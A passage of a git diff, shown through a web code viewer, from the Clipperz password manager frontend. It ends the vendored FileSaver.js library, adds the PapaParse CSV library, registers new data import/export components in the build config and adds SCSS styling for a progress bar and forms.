// Update: Google errantly closed 91158, I submitted it again:
|
||||||
|
// https://code.google.com/p/chromium/issues/detail?id=389642
|
||||||
|
if (view.chrome && type && type !== force_saveable_type) {
|
||||||
|
slice = blob.slice || blob.webkitSlice;
|
||||||
|
blob = slice.call(blob, 0, blob.size, force_saveable_type);
|
||||||
|
blob_changed = true;
|
||||||
|
}
|
||||||
|
// Since I can't be sure that the guessed media type will trigger a download
|
||||||
|
// in WebKit, I append .download to the filename.
|
||||||
|
// https://bugs.webkit.org/show_bug.cgi?id=65440
|
||||||
|
if (webkit_req_fs && name !== "download") {
|
||||||
|
name += ".download";
|
||||||
|
}
|
||||||
|
if (type === force_saveable_type || webkit_req_fs) {
|
||||||
|
target_view = view;
|
||||||
|
}
|
||||||
|
if (!req_fs) {
|
||||||
|
fs_error();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
fs_min_size += blob.size;
|
||||||
|
req_fs(view.TEMPORARY, fs_min_size, abortable(function(fs) {
|
||||||
|
fs.root.getDirectory("saved", create_if_not_found, abortable(function(dir) {
|
||||||
|
var save = function() {
|
||||||
|
dir.getFile(name, create_if_not_found, abortable(function(file) {
|
||||||
|
file.createWriter(abortable(function(writer) {
|
||||||
|
writer.onwriteend = function(event) {
|
||||||
|
target_view.location.href = file.toURL();
|
||||||
|
filesaver.readyState = filesaver.DONE;
|
||||||
|
dispatch(filesaver, "writeend", event);
|
||||||
|
revoke(file);
|
||||||
|
};
|
||||||
|
writer.onerror = function() {
|
||||||
|
var error = writer.error;
|
||||||
|
if (error.code !== error.ABORT_ERR) {
|
||||||
|
fs_error();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
"writestart progress write abort".split(" ").forEach(function(event) {
|
||||||
|
writer["on" + event] = filesaver["on" + event];
|
||||||
|
});
|
||||||
|
writer.write(blob);
|
||||||
|
filesaver.abort = function() {
|
||||||
|
writer.abort();
|
||||||
|
filesaver.readyState = filesaver.DONE;
|
||||||
|
};
|
||||||
|
filesaver.readyState = filesaver.WRITING;
|
||||||
|
}), fs_error);
|
||||||
|
}), fs_error);
|
||||||
|
};
|
||||||
|
dir.getFile(name, {create: false}, abortable(function(file) {
|
||||||
|
// delete file if it already exists
|
||||||
|
file.remove();
|
||||||
|
save();
|
||||||
|
}), abortable(function(ex) {
|
||||||
|
if (ex.code === ex.NOT_FOUND_ERR) {
|
||||||
|
save();
|
||||||
|
} else {
|
||||||
|
fs_error();
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}), fs_error);
|
||||||
|
}), fs_error);
|
||||||
|
}
|
||||||
|
, FS_proto = FileSaver.prototype
|
||||||
|
, saveAs = function(blob, name) {
|
||||||
|
return new FileSaver(blob, name);
|
||||||
|
}
|
||||||
|
;
|
||||||
|
FS_proto.abort = function() {
|
||||||
|
var filesaver = this;
|
||||||
|
filesaver.readyState = filesaver.DONE;
|
||||||
|
dispatch(filesaver, "abort");
|
||||||
|
};
|
||||||
|
FS_proto.readyState = FS_proto.INIT = 0;
|
||||||
|
FS_proto.WRITING = 1;
|
||||||
|
FS_proto.DONE = 2;
|
||||||
|
|
||||||
|
FS_proto.error =
|
||||||
|
FS_proto.onwritestart =
|
||||||
|
FS_proto.onprogress =
|
||||||
|
FS_proto.onwrite =
|
||||||
|
FS_proto.onabort =
|
||||||
|
FS_proto.onerror =
|
||||||
|
FS_proto.onwriteend =
|
||||||
|
null;
|
||||||
|
|
||||||
|
return saveAs;
|
||||||
|
}(
|
||||||
|
typeof self !== "undefined" && self
|
||||||
|
|| typeof window !== "undefined" && window
|
||||||
|
|| this.content
|
||||||
|
));
|
||||||
|
// `self` is undefined in Firefox for Android content script context
|
||||||
|
// while `this` is nsIContentFrameMessageManager
|
||||||
|
// with an attribute `content` that corresponds to the window
|
||||||
|
|
||||||
|
if (typeof module !== "undefined" && module.exports) {
|
||||||
|
module.exports.saveAs = saveAs;
|
||||||
|
} else if ((typeof define !== "undefined" && define !== null) && (define.amd != null)) {
|
||||||
|
define([], function() {
|
||||||
|
return saveAs;
|
||||||
|
});
|
||||||
|
}
|
1429
frontend/delta/js/Modernizr/modernizr-2.8.2.js
vendored
Normal file
1429
frontend/delta/js/Modernizr/modernizr-2.8.2.js
vendored
Normal file
File diff suppressed because it is too large
Load Diff
1406
frontend/delta/js/PapaParse/papaparse.js
Normal file
1406
frontend/delta/js/PapaParse/papaparse.js
Normal file
File diff suppressed because it is too large
Load Diff
29
frontend/delta/js/PapaParse/papaparse.min.js
vendored
Normal file
29
frontend/delta/js/PapaParse/papaparse.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
@ -22,7 +22,11 @@
|
|||||||
|
|
||||||
"mousetrap.repository": "https://github.com/ccampbell/mousetrap.git",
|
"mousetrap.repository": "https://github.com/ccampbell/mousetrap.git",
|
||||||
"mousetrap.version": "1.4.6",
|
"mousetrap.version": "1.4.6",
|
||||||
"mousetrap.commit": "dcdf4d85b7d98dc2a141a7418f1bdf8987586b40"
|
"mousetrap.commit": "dcdf4d85b7d98dc2a141a7418f1bdf8987586b40",
|
||||||
|
|
||||||
|
"papaparse.repository": "https://github.com/mholt/PapaParse",
|
||||||
|
"papaparse.version": "4.1.1",
|
||||||
|
"papaparse.commit": "1c64d5c098570f243911e920bf7cbe170f69a9eb"
|
||||||
},
|
},
|
||||||
|
|
||||||
"html.template": "index_template.html",
|
"html.template": "index_template.html",
|
||||||
@ -58,6 +62,12 @@
|
|||||||
"-- Modernizr/modernizr-2.8.2.js",
|
"-- Modernizr/modernizr-2.8.2.js",
|
||||||
"OnMediaQuery/onmediaquery-0.2.0.js",
|
"OnMediaQuery/onmediaquery-0.2.0.js",
|
||||||
|
|
||||||
|
"FileSaver/Blob.js",
|
||||||
|
"FileSaver/FileSaver.js",
|
||||||
|
|
||||||
|
"PapaParse/papaparse.js",
|
||||||
|
"-- PapaParse/papaparse.min.js",
|
||||||
|
|
||||||
"-- IT WOULD BE NICE TO BE ABLE TO GET RID OF THESE IMPORTS",
|
"-- IT WOULD BE NICE TO BE ABLE TO GET RID OF THESE IMPORTS",
|
||||||
"Clipperz/YUI/Utils.js",
|
"Clipperz/YUI/Utils.js",
|
||||||
"Clipperz/YUI/DomHelper.js",
|
"Clipperz/YUI/DomHelper.js",
|
||||||
@ -170,6 +180,16 @@
|
|||||||
"Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js",
|
"Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js",
|
||||||
"Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js",
|
"Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js",
|
||||||
"Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js",
|
"Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js",
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js",
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport.js",
|
||||||
|
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/Input.js",
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js",
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvLabels.js",
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvTitles.js",
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvNotes.js",
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvHidden.js",
|
||||||
|
"Clipperz/PM/UI/Components/ExtraFeatures/DataImport/Preview.js",
|
||||||
|
|
||||||
"Clipperz/PM/UI/Components/Cards/FavIcon.js",
|
"Clipperz/PM/UI/Components/Cards/FavIcon.js",
|
||||||
"Clipperz/PM/UI/Components/Cards/List.js",
|
"Clipperz/PM/UI/Components/Cards/List.js",
|
||||||
@ -186,6 +206,9 @@
|
|||||||
"Clipperz/PM/UI/MainController.js",
|
"Clipperz/PM/UI/MainController.js",
|
||||||
"-- Clipperz/PM/UI/MainDesktopController.js",
|
"-- Clipperz/PM/UI/MainDesktopController.js",
|
||||||
"Clipperz/PM/UI/DirectLoginController.js",
|
"Clipperz/PM/UI/DirectLoginController.js",
|
||||||
|
"Clipperz/PM/UI/ExportController.js",
|
||||||
|
"Clipperz/PM/UI/ImportController.js",
|
||||||
|
"Clipperz/PM/UI/ImportContext.js",
|
||||||
"main.js"
|
"main.js"
|
||||||
],
|
],
|
||||||
|
|
||||||
|
@ -126,6 +126,23 @@ div.overlay {
|
|||||||
div.bar11 {@include transform(300deg, 0, -142%); @include animation-delay(-0.16670s);}
|
div.bar11 {@include transform(300deg, 0, -142%); @include animation-delay(-0.16670s);}
|
||||||
div.bar12 {@include transform(330deg, 0, -142%); @include animation-delay(-0.08330s);}
|
div.bar12 {@include transform(330deg, 0, -142%); @include animation-delay(-0.08330s);}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.progressBar {
|
||||||
|
// display: block;
|
||||||
|
width: 100%;
|
||||||
|
background-color: #222;
|
||||||
|
height: 4px;
|
||||||
|
margin-top: 86px;
|
||||||
|
@include border-radius(2px);
|
||||||
|
|
||||||
|
.progress {
|
||||||
|
background-color: #999;
|
||||||
|
// width: 70%;
|
||||||
|
height: 4px;
|
||||||
|
display: block;
|
||||||
|
@include border-radius(2px);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
//========================================================
|
//========================================================
|
||||||
|
@ -86,6 +86,10 @@ refer to http://www.clipperz.com.
|
|||||||
& > div {
|
& > div {
|
||||||
padding: 4px;
|
padding: 4px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
&.offlineCopy {
|
||||||
|
cursor: default;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
&.open {
|
&.open {
|
||||||
@ -178,6 +182,118 @@ refer to http://www.clipperz.com.
|
|||||||
font-size: 20pt;
|
font-size: 20pt;
|
||||||
padding-bottom: 20px;
|
padding-bottom: 20px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
form {
|
||||||
|
|
||||||
|
label {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
input {
|
||||||
|
$border-size: 0px; // 2px;
|
||||||
|
|
||||||
|
display: block;
|
||||||
|
font-size: 18pt;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
padding: (6px - $border-size) (10px - $border-size);
|
||||||
|
border: $border-size solid white;
|
||||||
|
width: 350px;
|
||||||
|
color: black;
|
||||||
|
|
||||||
|
&.invalid {
|
||||||
|
border: $border-size solid $clipperz-orange;
|
||||||
|
color: gray;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
@include flexbox;
|
||||||
|
@include flex-direction(row);
|
||||||
|
|
||||||
|
input {
|
||||||
|
width: 30px;
|
||||||
|
@include flex(auto);
|
||||||
|
}
|
||||||
|
|
||||||
|
span {
|
||||||
|
@include flex(auto);
|
||||||
|
font-size: 12pt;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
button {
|
||||||
|
font-family: "clipperz-font";
|
||||||
|
|
||||||
|
color: white;
|
||||||
|
font-size: 14pt;
|
||||||
|
border: 0px;
|
||||||
|
|
||||||
|
margin-top: 20px;
|
||||||
|
padding: 6px 10px;
|
||||||
|
|
||||||
|
border: 1px solid white;
|
||||||
|
background-color: $main-color;
|
||||||
|
@include transition(background-color font-weight, 0.2s, linear);
|
||||||
|
|
||||||
|
&:hover {
|
||||||
|
};
|
||||||
|
|
||||||
|
&:disabled {
|
||||||
|
font-weight: 100;
|
||||||
|
background-color: #c0c0c0;
|
||||||
|
cursor: default;
|
||||||
|
|
||||||
|
&:hover {
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// input.valid:focus {
|
||||||
|
// border: 2px solid $clipperz-blue;
|
||||||
|
// }
|
||||||
|
}
|
||||||
|
|
||||||
|
ul {
|
||||||
|
color: white;
|
||||||
|
|
||||||
|
li {
|
||||||
|
padding-bottom: 40px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
h3 {
|
||||||
|
font-size: 18pt;
|
||||||
|
}
|
||||||
|
|
||||||
|
.description {
|
||||||
|
max-width: 500px;
|
||||||
|
padding: 10px 0px 20px 0px;
|
||||||
|
|
||||||
|
p {
|
||||||
|
font-size: 10pt;
|
||||||
|
margin-bottom: 7px;
|
||||||
|
line-height: 1.4em;
|
||||||
|
color:#bbb;
|
||||||
|
|
||||||
|
em {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.button {
|
||||||
|
display: inline;
|
||||||
|
|
||||||
|
color: white;
|
||||||
|
background-color: $main-color;
|
||||||
|
|
||||||
|
font-size: 14pt;
|
||||||
|
|
||||||
|
border: 1px solid white;
|
||||||
|
padding: 6px 10px;
|
||||||
|
|
||||||
|
&:after {
|
||||||
|
};
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@ -211,78 +327,6 @@ refer to http://www.clipperz.com.
|
|||||||
}
|
}
|
||||||
*/
|
*/
|
||||||
|
|
||||||
form {
|
|
||||||
|
|
||||||
label {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
input {
|
|
||||||
$border-size: 0px; // 2px;
|
|
||||||
|
|
||||||
display: block;
|
|
||||||
font-size: 18pt;
|
|
||||||
margin-bottom: 8px;
|
|
||||||
padding: (6px - $border-size) (10px - $border-size);
|
|
||||||
border: $border-size solid white;
|
|
||||||
width: 350px;
|
|
||||||
color: black;
|
|
||||||
|
|
||||||
&.invalid {
|
|
||||||
border: $border-size solid $clipperz-orange;
|
|
||||||
color: gray;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
p {
|
|
||||||
@include flexbox;
|
|
||||||
@include flex-direction(row);
|
|
||||||
|
|
||||||
input {
|
|
||||||
width: 30px;
|
|
||||||
@include flex(auto);
|
|
||||||
}
|
|
||||||
|
|
||||||
span {
|
|
||||||
@include flex(auto);
|
|
||||||
font-size: 12pt;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
button {
|
|
||||||
font-family: "clipperz-font";
|
|
||||||
// min-height: 48px;
|
|
||||||
// min-width: 48px;
|
|
||||||
|
|
||||||
color: white;
|
|
||||||
// font-size: 24pt;
|
|
||||||
font-size: 14pt;
|
|
||||||
// font-weight: 500;
|
|
||||||
border: 0px;
|
|
||||||
|
|
||||||
margin-top: 20px;
|
|
||||||
padding: 6px 10px;
|
|
||||||
|
|
||||||
border: 1px solid white;
|
|
||||||
background-color: $main-color;
|
|
||||||
@include transition(background-color font-weight, 0.2s, linear);
|
|
||||||
|
|
||||||
&:hover {
|
|
||||||
};
|
|
||||||
|
|
||||||
&:disabled {
|
|
||||||
font-weight: 100;
|
|
||||||
background-color: #c0c0c0;
|
|
||||||
cursor: default;
|
|
||||||
|
|
||||||
&:hover {
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// input.valid:focus {
|
|
||||||
// border: 2px solid $clipperz-blue;
|
|
||||||
// }
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user